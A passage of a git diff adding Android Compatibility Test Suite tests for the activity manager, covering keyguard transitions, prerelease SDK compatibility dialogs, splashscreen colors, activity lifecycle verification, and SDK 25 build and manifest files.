+    public void testUnlockWallpaper() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("WallpaperActivity");
+        gotoKeyguard();
+        unlockDevice();
+        mAmWmState.computeState(new WaitForValidActivityState("WallpaperActivity"));
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
+                mAmWmState.getWmState().getLastTransition());
+    }
+    @Test
+    public void testOcclude() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(new WaitForValidActivityState("ShowWhenLockedActivity"));
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+    }
+    @Test
+    public void testUnocclude() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        launchActivity("ShowWhenLockedActivity");
+        launchActivity("TestActivity");
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.computeState();
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+    }
+    @Test
+    public void testNewActivityDuringOccluded() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        gotoKeyguard();
+        launchActivity("ShowWhenLockedWithDialogActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
+        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+                mAmWmState.getWmState().getLastTransition());
+    }
+    @Test
+    public void testOccludeManifestAttr() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+             return;
+         }
+
+         String activityName = "ShowWhenLockedAttrActivity";
+
+         gotoKeyguard();
+         final String logSeparator = clearLogcat();
+         launchActivity(activityName);
+         mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                 mAmWmState.getWmState().getLastTransition());
+         assertSingleLaunch(activityName, logSeparator);
+    }
+    @Test
+    public void testOccludeAttrRemove() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
+
+        gotoKeyguard();
+        String logSeparator = clearLogcat();
+        launchActivity(activityName);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+        assertSingleLaunch(activityName, logSeparator);
+
+        gotoKeyguard();
+        logSeparator = clearLogcat();
+        launchActivity(activityName);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+        assertSingleStartAndStop(activityName, logSeparator);
+    }
+    @Test
+    public void testNewActivityDuringOccludedWithAttr() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        String activityName1 = "ShowWhenLockedAttrActivity";
+        String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
+
+        launchActivity(activityName1);
+        gotoKeyguard();
+        launchActivity(activityName2);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName2).build());
+        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
new file mode 100644
index 0000000..2ed8dee
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application built
+ * against a prerelease SDK.
+ */
+public class PrereleaseSdkTest extends ActivityManagerTestBase {
+    private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+    private static final String AM_FORCE_STOP = "am force-stop %s";
+
+    private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+    private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Ensure app process is stopped.
+        forceStopPackage("android.server.am.prerelease");
+        forceStopPackage("android.server.am");
+    }
+
+    @Test
+    public void testCompatibilityDialog() throws Exception {
+        // Launch target app.
+        startActivity("android.server.am.prerelease", "MainActivity");
+        verifyWindowDisplayed("MainActivity", ACTIVITY_TIMEOUT_MILLIS);
+        verifyWindowDisplayed("UnsupportedCompileSdkDialog", WINDOW_TIMEOUT_MILLIS);
+
+        // Go back to dismiss the warning dialog.
+        executeShellCommand("input keyevent 4");
+
+        // Go back again to formally stop the app. If we just kill the process, it'll attempt to
+        // resume rather than starting from scratch (as far as ActivityStack is concerned) and it
+        // won't invoke the warning dialog.
+        executeShellCommand("input keyevent 4");
+    }
+
+    private void forceStopPackage(String packageName) {
+        final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+        executeShellCommand(forceStopCmd);
+    }
+
+    private void startActivity(String packageName, String activityName){
+        executeShellCommand(getStartCommand(packageName, activityName));
+    }
+
+    private String getStartCommand(String packageName, String activityName) {
+        return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+    }
+
+    private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
+        boolean success = false;
+
+        // Verify that compatibility dialog is shown within 1000ms.
+        final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+        while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+            final String output = executeShellCommand("dumpsys window");
+            success = output.contains(windowName);
+        }
+
+        assertTrue(windowName + " was not displayed", success);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
new file mode 100644
index 0000000..e3b8be8
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Rect;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.SplashscreenTests
+ */
+public class SplashscreenTests extends ActivityManagerTestBase {
+
+    @Test
+    public void testSplashscreenContent() throws Exception {
+        launchActivityNoWait("SplashscreenActivity");
+        mAmWmState.waitForAppTransitionIdle();
+        mAmWmState.getWmState().getStableBounds();
+        final Bitmap image = takeScreenshot();
+        // Use ratios to flexibly accomodate circular or not quite rectangular displays
+        // Note: Color.BLACK is the pixel color outside of the display region
+        assertColors(image, mAmWmState.getWmState().getStableBounds(),
+            Color.RED, 0.50f, Color.BLACK, 0.01f);
+    }
+
+    private void assertColors(Bitmap img, Rect bounds, int primaryColor,
+        float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
+
+        int primaryPixels = 0;
+        int secondaryPixels = 0;
+        int wrongPixels = 0;
+        for (int x = bounds.left; x < bounds.right; x++) {
+            for (int y = bounds.top; y < bounds.bottom; y++) {
+                assertTrue(x < img.getWidth());
+                assertTrue(y < img.getHeight());
+                final int color = img.getPixel(x, y);
+                if (primaryColor == color) {
+                    primaryPixels++;
+                } else if (secondaryColor == color) {
+                    secondaryPixels++;
+                } else {
+                    wrongPixels++;
+                }
+            }
+        }
+
+        final int totalPixels = bounds.width() * bounds.height();
+        final float primaryRatio = (float) primaryPixels / totalPixels;
+        if (primaryRatio < expectedPrimaryRatio) {
+            fail("Less than " + (expectedPrimaryRatio * 100.0f)
+                    + "% of pixels have non-primary color primaryPixels=" + primaryPixels
+                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+        }
+        // Some pixels might be covered by screen shape decorations, like rounded corners.
+        // On circular displays, there is an antialiased edge.
+        final float wrongRatio = (float) wrongPixels / totalPixels;
+        if (wrongRatio > acceptableWrongRatio) {
+            fail("More than " + (acceptableWrongRatio * 100.0f)
+                    + "% of pixels have wrong color primaryPixels=" + primaryPixels
+                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
new file mode 100644
index 0000000..a5673a6
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -0,0 +1,83 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.am.ActivityManagerTestBase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitor;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import org.junit.After;
+import org.junit.Before;
+
+/** Base class for device-side tests that verify correct activity lifecycle transitions. */
+public class ActivityLifecycleClientTestBase extends ActivityManagerTestBase {
+
+    final ActivityTestRule mFirstActivityTestRule = new ActivityTestRule(FirstActivity.class,
+            true /* initialTouchMode */, false /* launchActivity */);
+
+    final ActivityTestRule mSecondActivityTestRule = new ActivityTestRule(SecondActivity.class,
+            true /* initialTouchMode */, false /* launchActivity */);
+
+    private final ActivityLifecycleMonitor mLifecycleMonitor = ActivityLifecycleMonitorRegistry
+            .getInstance();
+    private LifecycleLog mLifecycleLog;
+    private LifecycleTracker mLifecycleTracker;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        // Log transitions for all activities that belong to this app.
+        mLifecycleLog = new LifecycleLog();
+        mLifecycleMonitor.addLifecycleCallback(mLifecycleLog);
+
+        // Track transitions and allow waiting for pending activity states.
+        mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+        mLifecycleMonitor.addLifecycleCallback(mLifecycleTracker);
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        mLifecycleMonitor.removeLifecycleCallback(mLifecycleLog);
+        mLifecycleMonitor.removeLifecycleCallback(mLifecycleTracker);
+        super.tearDown();
+    }
+
+    /** Launch an activity given a class. */
+    protected Activity launchActivity(Class<? extends Activity> activityClass) {
+        final Intent intent = new Intent(InstrumentationRegistry.getTargetContext(), activityClass);
+        return InstrumentationRegistry.getInstrumentation().startActivitySync(intent);
+    }
+
+    /**
+     * Blocking call that will wait for activities to reach expected states with timeout.
+     */
+    @SafeVarargs
+    final void waitAndAssertActivityStates(Pair<Activity, Stage>... activityStates) {
+        log("Start waitAndAssertActivityStates");
+        mLifecycleTracker.waitAndAssertActivityStates(activityStates);
+    }
+
+    LifecycleLog getLifecycleLog() {
+        return mLifecycleLog;
+    }
+
+    static Pair<Activity, Stage> state(Activity activity, Stage stage) {
+        return new Pair<>(activity, stage);
+    }
+
+    // Test activity
+    public static class FirstActivity extends Activity {
+    }
+
+    // Test activity
+    public static class SecondActivity extends Activity {
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
new file mode 100644
index 0000000..5d0705f
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -0,0 +1,44 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleKeyguardTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleKeyguardTests extends ActivityLifecycleClientTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setLockCredential();
+        gotoKeyguard();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        tearDownLockCredentials();
+        super.tearDown();
+    }
+
+    @Test
+    public void testSingleLaunch() throws Exception {
+        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+        waitAndAssertActivityStates(state(activity, STOPPED));
+
+        LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
new file mode 100644
index 0000000..64a0380
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -0,0 +1,67 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleTests extends ActivityLifecycleClientTestBase {
+
+    @Test
+    public void testSingleLaunch() throws Exception {
+        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+        waitAndAssertActivityStates(state(activity, RESUMED));
+
+        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testLaunchOnTop() throws Exception {
+        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        waitAndAssertActivityStates(state(firstActivity, RESUMED));
+
+        getLifecycleLog().clear();
+        final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
+        waitAndAssertActivityStates(state(firstActivity, STOPPED),
+                state(secondActivity, RESUMED));
+
+        LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
+                getLifecycleLog());
+    }
+
+    @Test
+    public void testLaunchAndDestroy() throws Exception {
+        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+
+        activity.finish();
+        waitAndAssertActivityStates(state(activity, DESTROYED));
+
+        LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testRelaunch() throws Exception {
+        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+        waitAndAssertActivityStates(state(activity, RESUMED));
+
+        getLifecycleLog().clear();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(activity::recreate);
+        waitAndAssertActivityStates(state(activity, RESUMED));
+
+        LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog());
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
new file mode 100644
index 0000000..dab6316
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
@@ -0,0 +1,50 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Used as a shared log storage of activity lifecycle transitions.
+ */
+class LifecycleLog implements ActivityLifecycleCallback {
+
+    private List<Pair<String, Stage>> mLog = new ArrayList<>();
+
+    /** Clear the entire transition log. */
+    void clear() {
+        mLog.clear();
+    }
+
+    /** Add transition of an activity to the log. */
+    @Override
+    public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+        final String activityName = activity.getClass().getCanonicalName();
+        log("Activity " + activityName + " moved to stage " + stage);
+        mLog.add(new Pair<>(activityName, stage));
+    }
+
+    /** Get logs for all recorded transitions. */
+    List<Pair<String, Stage>> getLog() {
+        return mLog;
+    }
+
+    /** Get transition logs for the specified activity. */
+    List<Stage> getActivityLog(Class<? extends Activity> activityClass) {
+        final String activityName = activityClass.getCanonicalName();
+        log("Looking up log for activity: " + activityName);
+        final List<Stage> activityLog = new ArrayList<>();
+        for (Pair<String, Stage> transition : mLog) {
+            if (transition.first.equals(activityName)) {
+                activityLog.add(transition.second);
+            }
+        }
+        return activityLog;
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
new file mode 100644
index 0000000..df2cff7
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
@@ -0,0 +1,76 @@
+package android.server.am.lifecycle;
+
+import static org.junit.Assert.fail;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.BooleanSupplier;
+
+/**
+ * Gets notified about activity lifecycle updates and provides blocking mechanism to wait until
+ * expected activity states are reached.
+ */
+public class LifecycleTracker implements ActivityLifecycleCallback {
+
+    private LifecycleLog mLifecycleLog;
+
+    LifecycleTracker(LifecycleLog lifecycleLog) {
+        mLifecycleLog = lifecycleLog;
+    }
+
+    void waitAndAssertActivityStates(Pair<Activity, Stage>[] activityStates) {
+        final boolean waitResult = waitForConditionWithTimeout(
+                () -> pendingStates(activityStates).isEmpty(), 5 * 1000);
+
+        if (!waitResult) {
+            fail("Expected lifecycle states not achieved: " + pendingStates(activityStates));
+        }
+    }
+
+    @Override
+    synchronized public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+        notify();
+    }
+
+    /** Get a list of activity states that were not reached yet. */
+    private List<Pair<Activity, Stage>> pendingStates(Pair<Activity, Stage>[] activityStates) {
+        final List<Pair<Activity, Stage>> notReachedActivityStates = new ArrayList<>();
+
+        for (Pair<Activity, Stage> activityState : activityStates) {
+            final Activity activity = activityState.first;
+            final List<Stage> transitionList = mLifecycleLog.getActivityLog(activity.getClass());
+            if (transitionList.isEmpty()
+                    || transitionList.get(transitionList.size() - 1) != activityState.second) {
+                // The activity either hasn't got any state transitions yet or the current state is
+                // not the one we expect.
+                notReachedActivityStates.add(activityState);
+            }
+        }
+        return notReachedActivityStates;
+    }
+
+    /** Blocking call to wait for a condition to become true with max timeout. */
+    synchronized private boolean waitForConditionWithTimeout(BooleanSupplier waitCondition,
+            long timeoutMs) {
+        final long timeout = System.currentTimeMillis() + timeoutMs;
+        while (!waitCondition.getAsBoolean()) {
+            final long waitMs = timeout - System.currentTimeMillis();
+            if (waitMs <= 0) {
+                // Timeout expired.
+                return false;
+            }
+            try {
+                wait(timeoutMs);
+            } catch (InterruptedException e) {
+                // Weird, let's retry.
+            }
+        }
+        return true;
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
new file mode 100644
index 0000000..bbb3ad8
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
@@ -0,0 +1,94 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.CREATED;
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.PAUSED;
+import static android.support.test.runner.lifecycle.Stage.PRE_ON_CREATE;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STARTED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static android.server.am.StateLogger.log;
+import static org.junit.Assert.assertEquals;
+
+/** Util class that verifies correct activity state transition sequences. */
+class LifecycleVerifier {
+
+    static void assertLaunchSequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+        final String errorMessage = errorDuringTransition(activityClass, "launch");
+
+        final List<Stage> expectedTransitions =
+                Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+        assertEquals(errorMessage, expectedTransitions, observedTransitions);
+    }
+
+    static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
+            Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog) {
+        final List<Pair<String, Stage>> observedTransitions = lifecycleLog.getLog();
+        log("Observed sequence: " + observedTransitions);
+        final String errorMessage = errorDuringTransition(launchingActivity, "launch");
+
+        final List<Pair<String, Stage>> expectedTransitions = Arrays.asList(
+                transition(existingActivity, PAUSED),
+                transition(launchingActivity, PRE_ON_CREATE),
+                transition(launchingActivity, CREATED),
+                transition(launchingActivity, STARTED),
+                transition(launchingActivity, RESUMED),
+                transition(existingActivity, STOPPED));
+        assertEquals(errorMessage, expectedTransitions, observedTransitions);
+    }
+
+    static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+        final String errorMessage = errorDuringTransition(activityClass, "launch and stop");
+
+        final List<Stage> expectedTransitions =
+                Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED);
+        assertEquals(errorMessage, expectedTransitions, observedTransitions);
+    }
+
+    static void assertLaunchAndDestroySequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+        final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
+
+        final List<Stage> expectedTransitions =
+                Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED, DESTROYED);
+        assertEquals(errorMessage, expectedTransitions, observedTransitions);
+    }
+
+    static void assertRelaunchSequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+        final String errorMessage = errorDuringTransition(activityClass, "relaunch");
+
+        final List<Stage> expectedTransitions =
+                Arrays.asList(PAUSED, STOPPED, DESTROYED, PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+        assertEquals(errorMessage, expectedTransitions, observedTransitions);
+    }
+
+    private static Pair<String, Stage> transition(
+            Class<? extends Activity> activityClass, Stage state) {
+        return new Pair<>(activityClass.getCanonicalName(), state);
+    }
+
+    private static String errorDuringTransition(Class<? extends Activity> activityClass,
+            String transition) {
+        return "Failed verification during moving activity: " + activityClass.getCanonicalName()
+                + " through transition: " + transition;
+    }
+}
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
new file mode 100644
index 0000000..e55d5f0
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceSdk25TestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../src/android/server/am/AspectRatioTestsBase.java
+
+LOCAL_SDK_VERSION := 25
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
new file mode 100644
index 0000000..f216411
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.cts.am.testsdk25">
+
+    <uses-sdk android:targetSdkVersion="25" />
+
+    <application android:label="CtsActivityManagerDeviceSdk25TestCases">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="android.server.am.AspectRatioSdk25Tests$Sdk25MaxAspectRatioActivity"
+            android:label="Sdk25MaxAspectRatioActivity"
+            android:resizeableActivity="false" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.server.cts.am.testsdk25" />
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
new file mode 100644
index 0000000..5de8f88
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CTS ActivityManager SDK 25 compatibility test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsActivityManagerDeviceSdk25TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.server.cts.am.testsdk25" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
new file mode 100644
index 0000000..6ec1df0
--- /dev/null
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
